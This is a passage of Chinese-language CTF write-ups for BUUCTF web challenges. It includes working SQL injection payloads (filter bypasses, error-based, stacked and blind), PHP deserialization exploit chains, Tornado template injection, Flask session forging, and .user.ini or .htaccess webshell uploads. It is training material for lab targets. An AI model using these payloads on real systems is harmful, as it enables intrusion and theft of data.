双写绕过 BUUCTF[极客大挑战 2019]BabySQL
好像和前面的题目相似
check.php?username=admin&password=1'
单引号闭合
check.php?username=admin&password=1' or '1'='1
查一下字段数
check.php?username=admin&password=1' union select 1,2,3,4 or '1'='1
仔细看发现union select or都被过滤为空了,直接双写绕过
check.php?username=admin&password=1' uniounionn sselectelect 1,2,3,4 oorr '1'='1
check.php?username=admin&password=1' uniounionn sselectelect 1,2,3 oorr '1'='1
数据库
check.php?username=admin&password=1' uniounionn sselectelect 1,database(),'3
查表
check.php?username=admin&password=1' uniounionn sselectelect 1,(selselectect group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database()),'3
字段名
check.php?username=admin&password=1' uniounionn sselectelect 1,(selselectect group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name="b4bsql"),'3
查数据
check.php?username=admin&password=1' uniounionn sselectelect 1,(selselectect group_concat(username,passwoorrd) frfromom b4bsql),'3
php反序列化绕过wakeup BUUCTF[极客大挑战 2019]PHP
网站扫不了就直接说www.zip是备份文件了
index.php发现反序列化
<?php include 'class.php' ; $select = $_GET ['select' ]; $res =unserialize (@$select ); ?>
class.php
<?php include 'flag.php' ;error_reporting (0 );class Name { private $username = 'nonono' ; private $password = 'yesyes' ; public function __construct ($username ,$password ) { $this ->username = $username ; $this ->password = $password ; } function __wakeup ( ) { $this ->username = 'guest' ; } function __destruct ( ) { if ($this ->password != 100 ) { echo "</br>NO!!!hacker!!!</br>" ; echo "You name is: " ; echo $this ->username;echo "</br>" ; echo "You password is: " ; echo $this ->password;echo "</br>" ; die (); } if ($this ->username === 'admin' ) { global $flag ; echo $flag ; }else { echo "</br>hello my friend~~</br>sorry i can't give you the flag!" ; die (); } } } ?>
一个简单的php反序列化
脚本
<?php class Name { private $username = 'admin' ; private $password = '100' ; } $p = new Name ();$p = serialize ($p );echo $p ."\n" ;$p = str_replace ('":2:' ,'":3:' ,$p );echo $p ."\n" ;$p = urlencode ($p );echo $p ;?>
无法复制%00
备份文件 BUUCTF[ACTF2020 新生赛]BackupFile
一般做题都先扫目录,但是这个平台不让扫,自己一个个试试吧
下载下来源码
<?php include_once "flag.php" ;if (isset ($_GET ['key' ])) { $key = $_GET ['key' ]; if (!is_numeric ($key )) { exit ("Just num!" ); } $key = intval ($key ); $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3" ; if ($key == $str ) { echo $flag ; } } else { echo "Try to find out source file!" ; }
弱类型相等
http://4021fbd6-79aa-4cdb-9ac5-fed0e728d349.node4.buuoj.cn:81/?key=123
tornado框架cookies机制 [护网杯 2018]easy_tornado
三个文件
/flag.txt
/welcome.txt
/hints.txt
注意连接
http://feaacc5d-1b78-4e9e-96b1-b76d6f45394b.node4.buuoj.cn:81/file?filename=/hints.txt&filehash=81c8ea4cbb1c6a8f5af7138f48834607
先尝试改一下文件名
http://feaacc5d-1b78-4e9e-96b1-b76d6f45394b.node4.buuoj.cn:81/error?msg=Error
报错了
查一下render
这里可能是将要传入的filehash的值所以现在就需要知道cookies_secret的值
查阅资料,发现 secure cookie 是Tornado 用于保护cookies安全的一种措施。
cookie_secret保存在settings中
发现self.application.settings有一个别名
handler指向的处理当前这个页面的RequestHandler对象, RequestHandler.settings指向self.application.settings, 因此handler.settings指向RequestHandler.application.settings
这里需要获取cookie_secret那么就需要有模板注入的地方尝试一下发现在错误信息中有
http://feaacc5d-1b78-4e9e-96b1-b76d6f45394b.node4.buuoj.cn:81/error?msg={{str}}
获取一下cookie_secret
error?msg={{handler.settings}}
先得到文件名md5值
3bf9f6cf685a6dd8defadabfb41a03a1
拼起来
41c2f098-ff58-45c4-bc1e-98837748079b3bf9f6cf685a6dd8defadabfb41a03a1
再取合起来的md5值
组合一下
http://feaacc5d-1b78-4e9e-96b1-b76d6f45394b.node4.buuoj.cn:81/file?filename=/fllllllllllllag&filehash=ae79dbd1ea73f1effd2a6b89a702cd2a
科学计数法加越权 BUUCTF[极客大挑战 2019]BuyFlag
打开是个广告
需要好多钱,还需要注意必须是cuit的学生这里应该是个提示,应该跟普通用户不一样
源代码发现好东西
<!-- ~~~post money and password~~~ if (isset ($_POST ['password' ])) { $password = $_POST ['password' ]; if (is_numeric ($password )) { echo "password can't be number</br>" ; }elseif ($password == 404 ) { echo "Password Right!</br>" ; } } -->
这里注意他只说了post password需要加上money
这里发送过去没有回显,仔细观察可以发现一个user非常可疑,一般0代表的是假,1代表的是真如果用来区分是不是cuit的studit使用的是0和1的话这里就需要改成1
发现数字太长了,可以使用科学计数法
flask框架的session越权 [HCTF 2018]admin
法一
打开先点点,看看源码扫扫目录
注册一个登进去看看,这里的名字有回显,但是注册这里是有验证码限制的,可以留有思路看看验证码有没有爆破的可能
这里抓包发现有session看着像是jwt,但是实际上并不是
在这里发现了问题,这个改密码看看有没有可能有越权漏洞
源码泄露了,不说了先去找源码
发现是python写的,使用了flask框架
先查看路由
发现加载了index.html页面
发现关键信息,这里需要session 的name 为admin这里去查了一下flask的session文档
接着查找一下关键词SECRET发现在config文件里面还有信息
接着就是解码session对象了,找个工具来弄flash-session-cookie
抓到的本地session
.eJw9kE-PgjAQxb_KZs4c5I8XEw9uuhBMZgimLGkvBBVZWssmqEFq_O5bzMbDHGZe8t7vzQOq09BcfmB1HW6NB1V3hNUDPvawAlnGWiaksyS_y2RrKJBGqp0iiz4y9Imno-B6QvupkH9rMiIUPDbIvwLJ9DjfZIIBlqRIFb6wsSGFkeT5iCUuie3OQp07cpNxEQh1cAn5lJXFAg36Um07YdMQWXsXRjqveXfZZW6JFZNQ8RltOxFr1_D04HAZTtX1Vzf9uwKxfCn5jJ1GZHWESgQOPxS2tciKMeMOI8gtJg5M6Sjjm0W2Wb_sOlO3zdupKY5Y_it9bZwAY93XPXhwuzTD62_gL-D5B-mzbZs.YjrdGQ.4IaKpf7FQl0w374TS5D9c5WJ3is
用工具解码出来的
python flask_session_cookie_manager3.py decode -c ".eJw9kE-PgjAQxb_KZs4c5I8XEw9uuhBMZgimLGkvBBVZWssmqEFq_O5bzMbDHGZe8t7vzQOq09BcfmB1HW6NB1V3hNUDPvawAlnGWiaksyS_y2RrKJBGqp0iiz4y9Imno-B6QvupkH9rMiIUPDbIvwLJ9DjfZIIBlqRIFb6wsSGFkeT5iCUuie3OQp07cpNxEQh1cAn5lJXFAg36Um07YdMQWXsXRjqveXfZZW6JFZNQ8RltOxFr1_D04HAZTtX1Vzf9uwKxfCn5jJ1GZHWESgQOPxS2tciKMeMOI8gtJg5M6Sjjm0W2Wb_sOlO3zdupKY5Y_it9bZwAY93XPXhwuzTD62_gL-D5B-mzbZs.YjrdGQ.4IaKpf7FQl0w374TS5D9c5WJ3is" b'{"_fresh":true,"_id":{" b":"ZWFkZGNkOGQxZGJmN2ZmZjRjNzM1MDM1NTIwYTkyMzBjMTVkNmY3YTFmMTE2ZDkwMTVkZGM2MWNjNjU1YzFmNjM4ZTQwMWM5NDRlYjliNjliOTY2Yjc2ZmQyOWU0MmM1ZjJiYzI3MDgxYmZkZGJiYzM1MWQzNDUyYjFlMzgyNDg="},"csrf_token":{" b":"NDQ5ZTZmZjI4Nzk4MjY2NzM3YzgzMDUwOTM5N2QzMGNjMjk4OTA0OA=="},"image":{" b":"eUdMWA=="},"name":"wanan","user_id":"10"}'
这里加密时发现回不去,所以换了一个脚本
import sysimport zlibfrom base64 import b64decodefrom flask.sessions import session_json_serializerfrom itsdangerous import base64_decodedef decryption (payload ): payload, sig = payload.rsplit(b'.' , 1 ) payload, timestamp = payload.rsplit(b'.' , 1 ) decompress = False if payload.startswith(b'.' ): payload = payload[1 :] decompress = True try : payload = base64_decode(payload) except Exception as e: raise Exception('Could not base64 decode the payload because of ' 'an exception' ) if decompress: try : payload = zlib.decompress(payload) except Exception as e: raise Exception('Could not zlib decompress the payload before ' 'decoding the payload' ) return session_json_serializer.loads(payload) if __name__ == '__main__' : print (decryption(sys.argv[1 ].encode()))
用法
python flask-session.py ".eJw9kD2PwjAMhv_KyXOHfsCCxMAptALJrorCVfGCer1SSJqeVEClQfz3Cww3eLCH5_H7PuBwHJrLCRbX4dYEcDj_wOIBH9-wAC5TwxmZPCvunG0txWxZ7zQ5jFBgRHIzKmkmdJ8a5ZchqxIlU4tyHbMw4-vGGcZYkia9j5RLLWmcsSxGLHFOYtcp3Z3JTy5VrHTtDcWUl_sQLUast2flNgmK9q4se9Zr9-6ycCT2k9Jph66dSLRLeAZQX4bj4fprmv4_gtf590yUl-lJxWnHoo5JdFo5E3rNjHXtWOAcxfruw51ysUpwtXzj-so2HjFWfdVDALdLM7zbgSiE5x9Iw2aG.Yjr3nQ.s-VmFPx-L1QnKdOw_bkbpDM3cSg" {'_fresh': True, '_id': b'eaddcd8d1dbf7fff4c735035520a9230c15d6f7a1f116d9015ddc61cc655c1f638e401c944eb9b69b966b76fd29e42c5f2bc27081bfddbbc351d3452b1e38248', 'csrf_token': b'6323959aacaed7649cc949e8f73d39011ffa8070', 'name': 'wanan', 'user_id': '10'}
改name成admin
{'_fresh': True, '_id': b'eaddcd8d1dbf7fff4c735035520a9230c15d6f7a1f116d9015ddc61cc655c1f638e401c944eb9b69b966b76fd29e42c5f2bc27081bfddbbc351d3452b1e38248', 'csrf_token': b'6323959aacaed7649cc949e8f73d39011ffa8070', 'name': 'admin', 'user_id': '10'}
在换成原先的工具加密回去
python flask_session_cookie_manager3.py encode -s "ckj123" -t "{'_fresh': True, '_id': b'eaddcd8d1dbf7fff4c735035520a9230c15d6f7a1f116d9015ddc61cc655c1f638e401c944eb9b69b966b76fd29e42c5f2bc27081bfddbbc351d3452b1e38248', 'csrf_token': b'6323959aacaed7649cc949e8f73d39011ffa8070', 'name': 'admin', 'user_id': '10'}" .eJw9kLGOwjAMhl_l5JmhLbAgMXAKqUCyq6L0qnhBUAo0aTipgGiDePcLDDd4sIfv8_8_YXvs6usZZrfuXo9g2xxg9oSvPcyAS2k5JZulec_p2lHCjs3GkMcYBcakVg-t7ID-26D6seT0WCvpUC0TFvbxvnGKCZZkyBSx9tKRwQmr_IElTklsWm3ahsJkSifaVMGQD1lZROgwZrNutF-NUZx67Tiw3ntwl7knUQzayBb9aSBxmsNrBNW1O25vv7a-_EcIuvCejbNSnnUiWxZVQqI12tsoaCZsKs8CpyiWfQh3zsRijIv5B3fZuTogdgfXXGAE92vdfdqBOILXH0eiZno.Yjr4HA.pCZ5mKt-VRQsEyg6MEslUI8GtL8
就这里这个-s “ckj123” 只能使用双引号使用单引号不行,为啥?
法二
他们说这里的版本较低有漏洞nodeprep.prepare函数会将unicode字符ᴬ转换成A而A再次调用nodeprep.prepare函数会把A转换成a
注册用户ᴬᴰᴹᴵᴺ
经过nodeprep.prepare函数ᴬᴰᴹᴵᴺ变成了ADMIN
这里显示的就是
接着修改密码
ᴬᴰᴹᴵᴺ再次经过nodeprep.prepare函数就变成了admin,所以这里修改的密码是admin的密码
接着更改密码,这里改完之后就是admin的密码了
sql的pas=MD5(pas,true)绕过 [BJDCTF2020]Easy MD5
md5(string,raw) 参数 描述 string 必需。要计算的字符串。 raw 可选。 默认不写为FALSE。32位16进制的字符串 TRUE。16位原始二进制格式的字符串
这里需要注意的是,当raw项为true时,返回的这个原始二进制不是普通的二进制(0,1),而是 ‘or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c 这种。
上面的’ffifdyop‘字符串对应的16位原始二进制的字符串就是” ‘or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c “ 。 ‘ \ ‘后面的3个字符连同’ \ ‘算一个字符,比如’ \xc9 ‘,所以上述一共16个。当然,像’ \xc9 ‘这种字符会显示乱码。
这里32位的16进制的字符串,两个一组就是上面的16位二进制的字符串。比如27,这是16进制的,先要转化为10进制的,就是39,39在ASC码表里面就是’ ‘ ‘字符。6f就是对应‘ o ’。
然后我们得到的sql语句就是 SELECT * FROM admin WHERE username = 'admin' and password = ''or'6�]��!r,��b'
为什么password = ''or'6�]��!r,��b'的返回值会是true呢,因为or后面的单引号里面的字符串(6�]��!r,��b),是数字开头的。当然不能以0开头。(我不知道在数据库里面查询的时候,�这种会不会显示)
这里引用一篇文章,连接在下面,里面的原话“a string starting with a 1 is cast as an integer when used as a boolean.“
在mysql里面,在用作布尔型判断时,以1开头的字符串会被当做整型数。要注意的是这种情况是必须要有单引号括起来的,比如password=‘xxx’ or ‘1xxxxxxxxx’,那么就相当于password=‘xxx’ or 1 ,也就相当于password=‘xxx’ or true,所以返回值就是true。当然在我后来测试中发现,不只是1开头,只要是数字开头都是可以的。
当然如果只有数字的话,就不需要单引号,比如password=‘xxx’ or 1,那么返回值也是true。(xxx指代任意字符)
所以到这里为止,就完成了sql注入。同时要注意的是,这种sql语句,在mysql里面是可以行得通的,但是在oracle数据库里面这样的语句是有语法错误的。
所以回过头来为什么ffifdyop就是答案,因为ffifdyop的md5的原始二进制字符串里面有‘or’6这一部分的字符。那么进一步思考这个单引号是否是必要的,这两个单引号是为了与原有的语句的单引号配对。所以我们理解了这个sql注入的原理,那么就明白了我们需要怎样的字符串。
回到这个题目
发现提示
那么思路是一样的,没wp做个球?
简单绕过下
简单碰撞下
%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%5f%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%f3%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%e9%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%13%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%a8%1b%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%39%05%39%95%ab
php伪协议 [ZJCTF 2019]NiZhuanSiWei
<?php $text = $_GET ["text" ];$file = $_GET ["file" ];$password = $_GET ["password" ];if (isset ($text )&&(file_get_contents ($text ,'r' )==="welcome to the zjctf" )){ echo "<br><h1>" .file_get_contents ($text ,'r' )."</h1></br>" ; if (preg_match ("/flag/" ,$file )){ echo "Not now!" ; exit (); }else { include ($file ); $password = unserialize ($password ); echo $password ; } } else { highlight_file (__FILE__ ); } ?>
其中的file_get_contents,是从文件中获取数据,那么本地肯定没有这句话,只能通过php伪协议传参.
下面的包含提示useless.php那么就读取一下,使用php:filter协议
http://81138c67-775f-4cb3-92d0-1e356e4b3630.node4.buuoj.cn:81/ ?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY= &file=php://filter/read=convert.base64-encode/resource=useless.php
<?php class Flag { public $file = 'flag.php' ; public function __tostring ( ) { if (isset ($this ->file)){ echo file_get_contents ($this ->file); echo "<br>" ; return ("U R SO CLOSE !///COME ON PLZ" ); } } } $a = new Flag ();echo serialize ($a );?> O:4 :"Flag" :1 :{s:4 :"file" ;s:8 :"flag.php" ;}
这里就要包含一个 useless.php
加上password就好
http://81138c67-775f-4cb3-92d0-1e356e4b3630.node4.buuoj.cn:81/ ?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY= &file=useless.php &password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
.user.ini php.ini是php默认的配置文件.其中包含了很多php配置,这些配置中,有分为几种”PHP_INI_SYSTEM PHP_INI_PERDIR PHP_INI_ALL PHP_INI_USER
其中就提到了,模式为PHP_INI_USER的配置项,可以在ini_set()函数中设置 注册表中设置,再就是.user.ini中设置.这里就包含.user.ini,那么这个是什么配置文件.
除了主php.ini之外,php会在每个目录下扫描INI文件,从被执行的php文件所在的目录开始一直上升到web根目录($_SERVER[‘DOCUMENT_ROOT’]所指定的).如果被执行的php文件在web根目录之外,则只扫描该目录.在.user.ini风格的INI文件中只有具有PHP_INI_PERDR和PHP_INI_USER模式的INI设置可被识别.
这里就很清楚了,.user.ini实际上就是一个可以有用户”自定义”的php.ini,我们能够自定义的设置模式为”PHP_INI_PERDIR PHP_INI_USER”的设置(上面表格中没有提到的PHP_INI_PERDIR也可以在.user.ini中设置 处理PHP_INI_SYSTEM以外的模式都是可以通过.user.ini来进行设置的
而且,和php.ini不同的是,.user.ini是一个能别动态加载的ini文件,也就是说我修改了/user.ini后不需要重启服务器中间件,值需要等待user_ini.cache_ttl所设置的时间(默认300秒),即可被重新加载
然后我们看到php.ini中的配置项,可惜我沮丧地发现,只要稍微敏感的配置项,都是PHP_INI_SYSTEM模式的(甚至是php.ini only的),包括disable_functions、extension_dir、enable_dl等。 不过,我们可以很容易地借助.user.ini文件来构造一个“后门”。
Php配置项中有两个比较有意思的项(下图第一、四个):
auto_append_file、auto_prepend_file,点开看看什么意思:
指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数.而auto_append_file类似,只是在文件后面包含.使用方法很简单,直接写在.user.ini中
1.gif是要包含的文件.所以我们可以借助.user.ini轻松让所有php文件都自动包含某个文件,而这个文件可以是一个正常的php文件,也可以是一个包含一句话的webshell
那么我们这里构造一个.user.ini文件上传上去
发现检测了文件类型
上传了一个.user.ini文件
接着上传一个图片马,记得开头做处理
这些都干完之后,记得等一会,因为.user.ini是有生效时间的
接着访问这个目录,下的index.php文件
过滤空格和=的报错注入 [极客大挑战 2019]HardSQL
尝试闭合方式
check.php?username=admin'&password=1 the right syntax to use near '1'' at line 1 check.php?username=admin"&password=1 正常 check.php?username=admin&password=1' the right syntax to use near ''1''' at line 1 check.php?username=admin&password=1" 正常
说明单引号闭合,无括号
username=admin&password=admin' or '1'='1
这里有过滤,经过测试过滤了=和空格
爆库 username=admin&password=1'^extractvalue(1,concat(0x7e,(select(database()))))%23
爆表 username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek')))))%23 //数据库名字
爆字段名 username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1')))))%23 //数据库名
爆数据 username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(password)from(geek.H4rDsq1))))%23 //改数据库名 表名 字段名
显示不全使用left()和right()
username=admin&password=admin%27^extractvalue(1,concat(0x7e,(select(left(password,30))from(geek.H4rDsq1))))%23 username=admin&password=admin%27^extractvalue(1,concat(0x7e,(select(right(password,30))from(geek.H4rDsq1))))%23
updatexml报错
爆数据库 username=admin&password=admin%27or(updatexml(1,concat(0x7e,database(),0x7e),1))%23 爆表名 username=admin&password=1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23 爆字段名 username=admin&password=admin%27or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(%27H4rDsq1%27)),0x7e),1))%23 爆数据名 username=admin&password=admin%27or(updatexml(1,concat(0x7e,(select(group_concat(username,%27~%27,password))from(H4rDsq1)),0x7e),1))%23 //改一下表名 显示不全的时候使用left() right()语句分别查询 username=admin&password=admin%27or(updatexml(1,concat(0x7e,(select(group_concat((left(password,25))))from(H4rDsq1)),0x7e),1))%23 username=admin&password=admin%27or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))%23
拼出来
flag{237c59f0-ce14-478d-bc50-13e977d7efd6}
.htaccess文件上传 [MRCTF2020]你传你🐎呢
传个png文件
上去了但是没用,必须解析,在上传一个.htaccess文件,去解析.png文件为.php
简单md5与弱类型 [MRCTF2020]Ez_bypass
<?php include 'flag.php' ;$flag = 'MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}' ;if (isset ($_GET ['gg' ]) && isset ($_GET ['id' ])) { $id = $_GET ['id' ]; $gg = $_GET ['gg' ]; if (md5 ($id ) === md5 ($gg ) && $id !== $gg ) { echo 'You got the first step' ; if (isset ($_POST ['passwd' ])) { $passwd = $_POST ['passwd' ]; if (!is_numeric ($passwd )) { if ($passwd == 1234567 ) { echo 'Good Job!' ; highlight_file ('flag.php' ); die ('By Retr_0' ); } else { echo "can you think twice??" ; } } else { echo 'You can not get it !' ; } } else { die ('only one way to get the flag' ); } } else { echo "You are not a real hacker!" ; } } else { die ('Please input first' ); }
php的md5无法解析数组,传两个数组?gg[]=1&id[]=2
弱类型相等passwd=1234567q
php反序列化 [网鼎杯 2020 青龙组]AreUSerialz
<?php include ("flag.php" );highlight_file (__FILE__ );class FileHandler { protected $op ; protected $filename ; protected $content ; function __construct ( ) { $op = "1" ; $filename = "/tmp/tmpfile" ; $content = "Hello World!" ; $this ->process (); } public function process ( ) { if ($this ->op == "1" ) { $this ->write (); } else if ($this ->op == "2" ) { $res = $this ->read (); $this ->output ($res ); } else { $this ->output ("Bad Hacker!" ); } } private function write ( ) { if (isset ($this ->filename) && isset ($this ->content)) { if (strlen ((string )$this ->content) > 100 ) { $this ->output ("Too long!" ); die (); } $res = file_put_contents ($this ->filename, $this ->content); if ($res ) $this ->output ("Successful!" ); else $this ->output ("Failed!" ); } else { $this ->output ("Failed!" ); } } private function read ( ) { $res = "" ; if (isset ($this ->filename)) { $res = file_get_contents ($this ->filename); } return $res ; } private function output ($s ) { echo "[Result]: <br>" ; echo $s ; } function __destruct ( ) { if ($this ->op === "2" ) $this ->op = "1" ; $this ->content = "" ; $this ->process (); } } function is_valid ($s ) { for ($i = 0 ; $i < strlen ($s ); $i ++) if (!(ord ($s [$i ]) >= 32 && ord ($s [$i ]) <= 125 )) return false ; return true ; } if (isset ($_GET {'str' })) { $str = (string )$_GET ['str' ]; if (is_valid ($str )) { $obj = unserialize ($str ); } }
反序列化private属性绕过
<?php include ("flag.php" );highlight_file (__FILE__ );class FileHandler { protected $op ; protected $filename ; protected $content ; function __construct ( ) { $op = "1" ; $filename = "/tmp/tmpfile" ; $content = "Hello World!" ; $this ->process (); } public function process ( ) { if ($this ->op == "1" ) { $this ->write (); } else if ($this ->op == "2" ) { $res = $this ->read (); $this ->output ($res ); } else { $this ->output ("Bad Hacker!" ); } } private function write ( ) { if (isset ($this ->filename) && isset ($this ->content)) { if (strlen ((string )$this ->content) > 100 ) { $this ->output ("Too long!" ); die (); } $res = file_put_contents ($this ->filename, $this ->content); if ($res ) $this ->output ("Successful!" ); else $this ->output ("Failed!" ); } else { $this ->output ("Failed!" ); } } private function read ( ) { $res = "" ; if (isset ($this ->filename)) { $res = file_get_contents ($this ->filename); } return $res ; } private function output ($s ) { echo "[Result]: <br>" ; echo $s ; } function __destruct ( ) { if ($this ->op === "2" ) $this ->op = "1" ; $this ->content = "" ; $this ->process (); } } function is_valid ($s ) { for ($i = 0 ; $i < strlen ($s ); $i ++) if (!(ord ($s [$i ]) >= 32 && ord ($s [$i ]) <= 125 )) return false ; return true ; } if (isset ($_GET {'str' })) { $str = (string )$_GET ['str' ]; if (is_valid ($str )) { $obj = unserialize ($str ); } }
需要绕过
is_valid()函数规定字符的ASCII码必须是32-125,而protected属性在序列化之后会出现不可见字符\x00*\x00,转化为ascii码不符合要求.还有__destruct()魔术方法中,op===”2”和process()中op==”2”
绕过方法
1.绕过is_valid()函数
PHP7.1以上的版本对属性类型不敏感,public属性序列化不会出现不可见字符,可以用public属性来绕过
private属性在序列化的时候会引入两个\00,注意这两个\00,注意这两个\00就是ascii码为0的字符.这个字符显示和输出可能看不到,甚至导致截断,但是url编码后就可以看的很清楚.同理,protected属性会引入\00*\00.此时,为了更加方便进行反序列化payload的传输与显示,我们可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示
O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:8:"flag.php";S:10:"\00*\00content";S:7:"oavinci";}
2.绕过=
__destruct()魔术方法中,op===”2”是强比较,而process()使用的是弱比较op==”2”,可以通过弱类型绕过
绕过方法:op=2,这里的2是整数int类型,op=2时,op===”2”为false,op==”2”为true
法一
public属性绕过
<?php class FileHandler { public $op =2 ; public $filename ="flag.php" ; } $FileHandler1 = new FileHandler ();$str = serialize ($FileHandler1 );echo $str ;
法二
\x00绕过
<?php class FileHandler { public $op=2; public $filename="flag.php"; } $FileHandler1 = new FileHandler(); $str =serialize($FileHandler1); echo $str; #O:11:"FileHandler":2:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";} //这个时候先生成序列化的值,然后再做一些小处理 //我们都知道私有变量类名的前后都有%00,但是某些特定版本的情况下,这样也会出错 //这个时候我们需要将s改为S,并添加\00*\00总共三个字符要改一下字符数量 #O:11:"FileHandler":2:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:8:"flag.php";}
sql联合查询与pw的md5 [GXYCTF2019]BabySQli
登录框
源码有字符
居然是base32,下次不知道就挨个试
下面明显base64
得到查询语句
select * from user where username = '$name'
仔细看是像search发起的请求
象征性测试一下闭合方式
name=1&pw=1 正常 name=1'&pw=1 报错 name=1"&pw=1 正常
单引号闭合
查询字段数
name=1'order by 4%23&pw=1
有过滤,发现过滤了or,单是大小写不敏感,大小写绕过
name=1'Order by 4%23&pw=1
name=1'Order by 3%23&pw=1
这个是错误用户
name=admin'Union Select 1,2,1%23&pw=111
这个是错误密码,说明这里的username和password是分开查的,也就是先查询是否有这个用户,在拿密码和这个密码比较 ,那么我们可以尝试一下直接登录
如果前面的不存在的就会只显示联合查询后面的结果
name=1admin' Union Select 1,'admin',1%23&pw=1
也就是这样的,那么如果没问题的话就可以直接登录了
很明显,这里的密码不对,那么可能是什么原因呢,可能是md5加密了密码值,加密的肯定是查询出来的哦,所以我们的就试一下
1->c4ca4238a0b923820dcc509a6f75849b
name=1admin' Union Select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'%23&pw=1
反序列化 [MRCTF2020]Ezpop
Welcome to index.php <?php class Modifier { protected $var ='php://filter/read=convert.base64-encode/resource=flag.php' ; public function append ($value ) { include ($value ); } public function __invoke ( ) { $this ->append ($this ->var ); } } class Show { public $source ; public $str ; public function __construct ($file ='index.php' ) { $this ->source = $file ; echo 'Welcome to ' .$this ->source."<br>" ; } public function __toString ( ) { return $this ->str->source; } public function __wakeup ( ) { if (preg_match ("/gopher|http|file|ftp|https|dict|\.\./i" , $this ->source)) { echo "hacker" ; $this ->source = "index.php" ; } } } class Test { public $p ; public function __construct ( ) { $this ->p = array (); } public function __get ($key ) { $function = $this ->p; return $function (); } } $final = new Show ();$Show1 = $final ->source = new Show (); $Test1 = $Show1 ->str = new Test ();$Modifier1 = $Test1 ->p = new Modifier ();echo "\n" ;echo "\n" ;echo urlencode (serialize ($final ));echo "\n" ;$pop = serialize ($final );unserialize ($pop );
?pop=O%3A4%3A"Show"%3A2%3A{s%3A6%3A"source"%3BO%3A4%3A"Show"%3A2%3A{s%3A6%3A"source"%3Bs%3A9%3A"index.php"%3Bs%3A3%3A"str"%3BO%3A4%3A"Test"%3A1%3A{s%3A1%3A"p"%3BO%3A8%3A"Modifier"%3A1%3A{s%3A6%3A"%00*%00var"%3Bs%3A57%3A"php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php"%3B}}}s%3A3%3A"str"%3BN%3B}
handler绕过过滤sql [GYCTF2020]Blacklist
单引号报错
字段数为2
有过滤,过滤了不少.堆叠注入
?inject=1';show databases;#
?inject=1';desc `FlagHere`;#
handler [表名] open; 打开一张表 handler [表名] read first; 接着访问打开的表,该表对象未被其他会话共享,并且在会话调用close之前不关闭 handler [表名] close;
?inject=1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#
sql
提示了flag的位置
输入1’时出现了布尔值false,没懂这里什么意思
有过滤,先fuzz一下
测试一下闭合
id=2/2 回显Hello, glzjin wants a girlfriend. id=1 回显Hello, glzjin wants a girlfriend. id=1' bool(false) id=1'&&'1'='1 bool(false) id=1&&1=1 Hello, glzjin wants a girlfriend.
很明显数字型
这里的bool(false)感觉像是提示布尔注入,测试了一下联合注入不可,堆叠注入不可
布尔盲注试下
id=(length(database())=11) Hello, glzjin wants a girlfriend. (length(database())=0) Error Occured When Fetch Result.
可行,说明数据库长度是11
